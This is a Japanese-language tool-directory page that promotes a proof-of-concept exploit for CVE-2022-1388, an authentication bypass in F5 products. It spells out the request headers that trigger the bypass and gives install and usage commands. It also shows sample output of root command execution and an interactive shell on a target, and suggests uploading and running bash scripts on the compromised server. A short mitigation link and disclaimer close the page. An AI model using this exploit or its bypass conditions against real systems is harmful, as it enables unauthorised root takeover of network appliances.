Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2022-1388-iveresk-command-shell — 複数のF5製品に影響を及ぼすCVE-2022-1388の改良版POC | Kitploit
ツール/GitHubGitHub/iveresk/cve-2022-1388-iveresk-command-shell
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールリモートアクセスツール
GitHubiveresk/cve-2022-1388-iveresk-command-shell

cve-2022-1388-iveresk-command-shell

複数のF5製品に影響を及ぼすCVE-2022-1388の改良版POC

リポジトリを見る
174年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-1388 by 1vere$k コマンドシェル付き

複数のF5製品に影響を与えるCVE-2022-1388の改良版POC。

これは、CVE-2022-1388に対するHorizon3のProof of Conceptの改良版です: https://github.com/horizon3ai/CVE-2022-1388
また、PsychoSecの作業(https://github.com/PsychoSec2/CVE-2022-1388-POC)をリファクタリングして完全に作り直したものです。
LOL、この人物は「Requirements」セクションで「brains」などのポイントを挙げており、コードの40%以上が重複しており、まったくスケーラブルではありません。
セッションブロックも削除しました。ここではあまり意味がないと考えたためです。

このバージョンには複数の改善点と、リモートコマンドを実行するための対話型シェルが含まれています。

技術的分析:

この脆弱性の根本原因に関するHorizon3の技術的分析は、彼らのブログでご覧いただけます: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/

概要:

この脆弱性を悪用するためのリクエストの必要条件:

root@kitploit:~
Connection header must include X-F5-Auth-Token  
X-F5-Auth-Token header must be present  
Host header must be localhost / 127.0.0.1 or the Connection header must include X-Forwarded-Host  
Auth header must be set with the admin username and any password  

必要条件:

root@kitploit:~
git
pip3
python3

インストール:

root@kitploit:~
git clone https://github.com/iveresk/cve-2022-1388-iveresk-command-shell.git
cd cve-2022-1388-iveresk-command-shell
pip3 install -r requirements.txt
python3 cve-2022-1388-1veresk.py -h

使用方法:

ターゲットのテスト:

root@kitploit:~
python3 cve-2022-1388-1veresk.py.py -u -t https://192.168.0.221
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!

-sオプションを使用して対話型シェルを実行します。 対話型シェル:

root@kitploit:~
python3 cve-2022-1388-1veresk.py -u -s https://192.168.0.221
Running interactive shell..

root@f5-localhost: /var/service/restjavad$ 
リバースTCP接続やリスナーを必要としません。

'exit'コマンドを使用してシェルを終了します...

重要:

パッチが適用されていないシステムで対話型シェルを実行する際、一部のコマンドや構文が動作しない、または期待した結果が得られない場合があることに注意してください。これはおそらく、サーバーAPIリクエストとレスポンスでJSONが使用されているためです。問題を回避するには、対話型シェルを使用する際に、二重引用符、コロン、カンマ、中括弧、角括弧など、JSON構文で一般的な文字を使用しないようにしてください。JSON構文は構造化された形式である必要があります。

コマンド内で非構造化JSON構文を使用すると、サーバーへのAPIリクエストが不正な形式になり、コマンド出力が得られない、何も実行されない、あるいはPythonスクリプトから完全に強制終了される可能性があります。これにより、残念ながら一部のコマンドが使用できなくなります。この問題を回避するには、代わりにbashスクリプトを作成し、サーバーにダウンロードして、対話型シェルを使用して実行することができます。また、'cd'コマンドを使用してディレクトリを変更することもできません。

いずれにせよ、基本的なコマンド出力は得られるはずです。コマンド出力が得られなくても、それはコマンドが実行されなかったことを意味するわけではありません。ただし、それはご自身の分析で確認する必要があります。

緩和策:

最新バージョンに更新するか、F5セキュリティアドバイザリ内の指示に従って緩和してください。 https://support.f5.com/csp/article/K23605346

免責事項:

このソフトウェアは、学術研究および効果的な防御技術の開発のみを目的として作成されており、明示的に許可された場合を除き、システムへの攻撃に使用することを意図していません。プロジェクトメンテナは、ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。

連絡先

詳細については、Keybaseからお気軽にご連絡ください。

ツールをダウンロード